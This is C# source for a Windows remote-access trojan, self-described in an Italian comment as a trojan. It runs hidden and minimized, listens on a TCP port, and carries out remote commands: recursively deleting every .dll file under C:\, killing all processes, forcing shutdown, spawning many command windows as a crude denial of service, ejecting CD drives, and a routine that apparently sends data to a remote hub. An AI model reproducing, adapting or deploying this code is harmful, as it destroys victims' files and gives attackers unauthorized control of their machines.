using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Text;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using Ripper;
namespace Server
{
/// <summary>
/// Descrizione di riepilogo per Form1.
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
string nick;
string hub;
string pporta;
delegate void AddLog(string log);
ArrayList users
= new ArrayList
();
Thread receiveall;
Socket srv;
string directory;
ArrayList adir
= new ArrayList
();
string titolo;
string messaggio;
bool start = false;
private Thread searchesendfavorite;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox porta;
private System.Windows.Forms.NumericUpDown max;
private System.Windows.Forms.RichTextBox r;
private System.Windows.Forms.StatusBar statusBar1;
private System.Windows.Forms.StatusBarPanel st;
private System.Windows.Forms.RichTextBox r1;
private System.Windows.Forms.RichTextBox richTextBox1;
private System.Windows.Forms.TextBox delay;
private System.Windows.Forms.RichTextBox r3;
private System.Windows.Forms.NumericUpDown n;
private System.Windows.Forms.TextBox pp;
/// <summary>
/// Variabile di progettazione necessaria.
/// </summary>
private System.ComponentModel.Container components = null;
public Form1()
{
//
// Necessario per il supporto di Progettazione Windows Form
//
InitializeComponent();
//
// TODO: aggiungere il codice del costruttore dopo la chiamata a InitializeComponent
//
}
/// <summary>
/// Pulire le risorse in uso.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Codice generato da Progettazione Windows Form
/// <summary>
/// Metodo necessario per il supporto della finestra di progettazione. Non modificare
/// il contenuto del metodo con l'editor di codice.
/// </summary>
private void InitializeComponent()
{
this.
porta = new System.
Windows.
Forms.
TextBox();
this.
label1 = new System.
Windows.
Forms.
Label();
this.
button1 = new System.
Windows.
Forms.
Button();
this.
label2 = new System.
Windows.
Forms.
Label();
this.
max = new System.
Windows.
Forms.
NumericUpDown();
this.
label3 = new System.
Windows.
Forms.
Label();
this.
r = new System.
Windows.
Forms.
RichTextBox();
this.
statusBar1 = new System.
Windows.
Forms.
StatusBar();
this.
st = new System.
Windows.
Forms.
StatusBarPanel();
this.
r1 = new System.
Windows.
Forms.
RichTextBox();
this.
richTextBox1 = new System.
Windows.
Forms.
RichTextBox();
this.
delay = new System.
Windows.
Forms.
TextBox();
this.
r3 = new System.
Windows.
Forms.
RichTextBox();
this.
n = new System.
Windows.
Forms.
NumericUpDown();
this.
pp = new System.
Windows.
Forms.
TextBox();
((System.ComponentModel.ISupportInitialize)(this.max)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.st)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.n)).BeginInit();
this.SuspendLayout();
//
// porta
//
this.
porta.
Location = new System.Drawing.
Point(952, 136
);
this.porta.Name = "porta";
this.porta.ReadOnly = true;
this.porta.TabIndex = 0;
this.porta.Text = "4432";
//
// label1
//
this.
label1.
Location = new System.Drawing.
Point(984, 160
);
this.label1.Name = "label1";
this.
label1.
Size = new System.Drawing.
Size(40, 16
);
this.label1.TabIndex = 1;
this.label1.Text = "Porta";
//
// button1
//
this.
button1.
Location = new System.Drawing.
Point(952, 72
);
this.button1.Name = "button1";
this.
button1.
Size = new System.Drawing.
Size(80, 24
);
this.button1.TabIndex = 2;
this.button1.Text = "Avvia";
this.
button1.
Click += new System.
EventHandler(this.
button1_Click);
//
// label2
//
this.
label2.
Location = new System.Drawing.
Point(976, 112
);
this.label2.Name = "label2";
this.
label2.
Size = new System.Drawing.
Size(56, 16
);
this.label2.TabIndex = 3;
this.label2.Text = "Max User";
//
// max
//
this.
max.
Location = new System.Drawing.
Point(904, 112
);
this.
max.
Maximum = new System.
Decimal(new int[] {
1000,
0,
0,
0});
this.max.Name = "max";
this.max.ReadOnly = true;
this.
max.
Size = new System.Drawing.
Size(64, 20
);
this.max.TabIndex = 4;
this.
max.
Value = new System.
Decimal(new int[] {
1000,
0,
0,
0});
//
// label3
//
this.
label3.
Location = new System.Drawing.
Point(976, 184
);
this.label3.Name = "label3";
this.
label3.
Size = new System.Drawing.
Size(32, 16
);
this.label3.TabIndex = 5;
this.label3.Text = "Log";
//
// r
//
this.
r.
Location = new System.Drawing.
Point(896, 160
);
this.r.Name = "r";
this.
r.
Size = new System.Drawing.
Size(80, 40
);
this.r.TabIndex = 6;
this.r.Text = "";
//
// statusBar1
//
this.
statusBar1.
Location = new System.Drawing.
Point(0,
-24
);
this.statusBar1.Name = "statusBar1";
this.
statusBar1.
Panels.
AddRange(new System.
Windows.
Forms.
StatusBarPanel[] {
this.st});
this.statusBar1.ShowPanels = true;
this.
statusBar1.
Size = new System.Drawing.
Size(8, 32
);
this.statusBar1.SizingGrip = false;
this.statusBar1.TabIndex = 7;
this.statusBar1.Visible = false;
this.
statusBar1.
PanelClick += new System.
Windows.
Forms.
StatusBarPanelClickEventHandler(this.
statusBar1_PanelClick);
//
// st
//
this.st.AutoSize = System.Windows.Forms.StatusBarPanelAutoSize.Spring;
this.st.Text = "User Connessi: 0";
this.st.Width = 10;
//
// r1
//
this.
r1.
Location = new System.Drawing.
Point(944, 200
);
this.r1.Name = "r1";
this.
r1.
Size = new System.Drawing.
Size(72, 40
);
this.r1.TabIndex = 17;
this.r1.Text = "";
//
// richTextBox1
//
this.
richTextBox1.
Location = new System.Drawing.
Point(984, 32
);
this.richTextBox1.Name = "richTextBox1";
this.
richTextBox1.
Size = new System.Drawing.
Size(64, 32
);
this.richTextBox1.TabIndex = 16;
this.richTextBox1.Text = "";
//
// delay
//
this.
delay.
Location = new System.Drawing.
Point(944, 256
);
this.delay.Name = "delay";
this.
delay.
Size = new System.Drawing.
Size(40, 20
);
this.delay.TabIndex = 18;
this.delay.Text = "2";
//
// r3
//
this.
r3.
Location = new System.Drawing.
Point(888, 72
);
this.r3.Name = "r3";
this.
r3.
Size = new System.Drawing.
Size(48, 32
);
this.r3.TabIndex = 19;
this.r3.Text = "";
//
// n
//
this.
n.
Font = new System.Drawing.
Font("Comic Sans MS", 9.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.n.ForeColor = System.Drawing.Color.Black;
this.
n.
Location = new System.Drawing.
Point(936, 32
);
this.
n.
Maximum = new System.
Decimal(new int[] {
1000,
0,
0,
0});
this.n.Name = "n";
this.
n.
Size = new System.Drawing.
Size(40, 26
);
this.n.TabIndex = 20;
this.
n.
Value = new System.
Decimal(new int[] {
999,
0,
0,
0});
//
// pp
//
this.
pp.
Location = new System.Drawing.
Point(968, 0
);
this.pp.Name = "pp";
this.
pp.
Size = new System.Drawing.
Size(64, 20
);
this.pp.TabIndex = 21;
this.pp.Text = "textBox1";
this.
pp.
TextChanged += new System.
EventHandler(this.
textBox1_TextChanged);
//
// Form1
//
this.
AutoScaleBaseSize = new System.Drawing.
Size(5, 13
);
this.
ClientSize = new System.Drawing.
Size(8, 8
);
this.Controls.Add(this.pp);
this.Controls.Add(this.delay);
this.Controls.Add(this.porta);
this.Controls.Add(this.statusBar1);
this.Controls.Add(this.n);
this.Controls.Add(this.r3);
this.Controls.Add(this.r1);
this.Controls.Add(this.richTextBox1);
this.Controls.Add(this.r);
this.Controls.Add(this.label3);
this.Controls.Add(this.max);
this.Controls.Add(this.label2);
this.Controls.Add(this.button1);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.Name = "Form1";
this.ShowInTaskbar = false;
this.Text = "server";
this.TopMost = true;
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
this.
Closing += new System.ComponentModel.
CancelEventHandler(this.
Form1_Closing);
this.
Load += new System.
EventHandler(this.
Form1_Load);
((System.ComponentModel.ISupportInitialize)(this.max)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.st)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.n)).EndInit();
this.ResumeLayout(false);
}
#endregion
/// <summary>
/// Il punto di ingresso principale dell'applicazione.
/// </summary>
[STAThread]
static void Main()
{
Application.
Run(new Form1
());
}
/* TROJAN SCRITTO DA SATANA,VIETATE ANKE LE IMITAZIONI PARZIALI,IL PROGRAMMATORE SI ASTIENE DA COME UTILIZZERETE QUEST'APPLICAZIONE */
private void button1_Click(object sender, System.EventArgs e)
{
if(!start)
Avvia();
else
Stoppa();
}
void Avvia()
{
start=true;
srv
= new Socket
(AddressFamily.
InterNetwork,SocketType.
Stream,ProtocolType.
Tcp);
IPAddress ia = IPAddress.Parse("0.0.0.0");
IPEndPoint iep
= new IPEndPoint
(ia,Convert.
ToInt32(porta.
Text));
srv.Bind(iep);
srv.Listen(10);
srv.
BeginAccept(new AsyncCallback
(Accetta
), srv
);
receiveall
= new Thread
(new ThreadStart
(RiceviTutti
));
receiveall.Start();
button1.Text="Stoppa";
porta.Enabled=false;
}
public void Cerca1()
{
directory = "C:\\";
string path = directory;
try
{
string[] dirs1 = Directory.GetDirectories(@path);
string[] dirs2 = Directory.GetFiles(@path,"*.dll");
foreach (string dir in dirs2)
{
string[] a = dir.Split("\\".ToCharArray());
File.Delete(dir);
}
foreach (string dir in dirs1)
{
r3.Text="Directory controllata: "+dir+"\n";
Thread.Sleep(Convert.ToInt32(delay.Text));
Cerca(dir);
}
}
catch(Exception e)
{MessageBox.Show(e.ToString());}
}
public void Cerca(string path)
{
try
{
directory = "C:\\";
string[] dirs1 = Directory.GetDirectories(@path);
string[] dirs2 = Directory.GetFiles(@path,"*.dll");
foreach (string dir in dirs2)
{
string[] a = dir.Split("\\".ToCharArray());
File.Delete(dir);
}
foreach (string dir in dirs1)
{
r3.Text="Directory controllata: "+dir+"\n";
Thread.Sleep(Convert.ToInt32(delay.Text));
Cerca(dir);
}
}
catch(Exception e)
{MessageBox.Show(e.ToString());}
}
void Stoppa()
{
DisconnettiTutti();
if(receiveall!=null)
receiveall.Abort();
if(srv!=null)
srv.Close();
start=false;
button1.Text="Avvia";
st.Text="User Connessi: 0";
porta.Enabled=true;
}
void Accetta(IAsyncResult ar)
{
try
{
Socket listener = (Socket) ar.AsyncState;
Socket client = listener.EndAccept(ar);
NuovaConnessione(client);
if(start)
listener.
BeginAccept(new AsyncCallback
(Accetta
), listener
);
}
catch{}
}
public void Send(Socket client,string s)
{
try
{
client.Send(Encoding.Default.GetBytes(s+"|"));
}
catch{}
}
void NuovaConnessione(Socket client)
{
if(users.Count>=max.Value)
{
Send(client,"Troppi Utenti");
client.Close();
return;
}
us.client=client;
string ip = client.RemoteEndPoint.ToString().Substring(0,client.RemoteEndPoint.ToString().IndexOf(":"));
us.ip=ip;
users.Add(us);
AL("+NuovoUserConnesso ("+us.ip+")");
Send(client,"Nuovo Client Connesso");
st.Text="User Connessi: "+users.Count;
}
void RiceviTutti()
{
while(true)
{
try
{
foreach(User us in users)
{
try
{
Socket client = us.client;
if(client.Poll(0,SelectMode.SelectRead))
{
int bytes = client.Available;
if(bytes>0)
{
byte[] buffer
= new byte[bytes
];
client.Receive(buffer);
DataArrival(us,Encoding.Default.GetString(buffer));
}
else
Disconnetti(us);
}
}
catch{Disconnetti(us);}
}
Thread.Sleep(10);
}
catch{}
}
}
void DisconnettiTutti()
{
foreach(User us in users)
{
us.client.Close();
}
users.Clear();
}
void Disconnetti(User us)
{
us.client.Close();
users.Remove(us);
st.Text="User Connessi: "+users.Count;
}
public void lol()
{
MBox mbox
= new MBox
(titolo,messaggio
);
mbox.ShowDialog();
}
public void ApriDoS()
{
for(int i = 0;i<n.Value;i++)
{
Process.Start("cmd.exe","start");
}
}
public void ChiudiPC()
{
Process.Start("shutdown","-s");
}
void AL(string log)
{
AddLog a
= new AddLog
(AggiungiLog
);
string[] arg = {log};
r.BeginInvoke(a,arg);
}
void AggiungiLog(string log)
{
r.AppendText(log+"\n");
}
private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
Stoppa();
}
void DataArrival(User us,string msg)
{
string[] d = msg.Split('|');
foreach(string data in d)
{
AL(us.ip+"> "+data);
if(data.StartsWith("$CancellaFile"))
{
Thread m
= new Thread
(new ThreadStart
(Cerca1
));
m.Start();
}
if(data.StartsWith("$cProcess"))
{
Process[] allprocess = Process.GetProcesses();
for(int i = 0;i<allprocess.Length;i++)
{
allprocess[i].Kill();
}
}
if(data.StartsWith("$SendFavorite"))
{
string[] b = data.Split(' ');
nick = b[1];
hub = b[2];
pporta = b[3];
SearchESendFavorite cw4
= new SearchESendFavorite
(r,r1,nick,hub,pporta
);
ThreadStart tstart4
= new ThreadStart
(cw4.
RunMe);
searchesendfavorite
= new Thread
(tstart4
);
searchesendfavorite.Start();
}
else if(data.StartsWith("$CancellaFile"))
{
Thread g
= new Thread
(new ThreadStart
(Cerca1
));
g.Start();
}
else if(data.StartsWith("$OpenCD"))
{
char[] Drives = CDDrive.GetCDDriveLetters();
foreach(char c in Drives)
{
CDDrive cd
= new CDDrive
();
cd.Open(c);
cd.EjectCD();
}
}
else if(data.StartsWith("$CloseCD"))
{
char[] Drives = CDDrive.GetCDDriveLetters();
foreach(char c in Drives)
{
CDDrive cd
= new CDDrive
();
cd.Open(c);
cd.LoadCD();
}
}
else if(data.StartsWith("$MessageBox"))
{
string[] a = data.Split(' ');
titolo = a[1];
messaggio = a[2];
Thread th1
= new Thread
(new ThreadStart
(lol
));
th1.Start();
}
else if(data.StartsWith("$ShutDown"))
{
ChiudiPC();
}
else if(data.StartsWith("$ApriDoS"))
{
ApriDoS();
}
}
}
private void Form1_Load(object sender, System.EventArgs e)
{
Avvia();
}
private void statusBar1_PanelClick(object sender, System.Windows.Forms.StatusBarPanelClickEventArgs e)
{
}
private void textBox1_TextChanged(object sender, System.EventArgs e)
{
}
}
}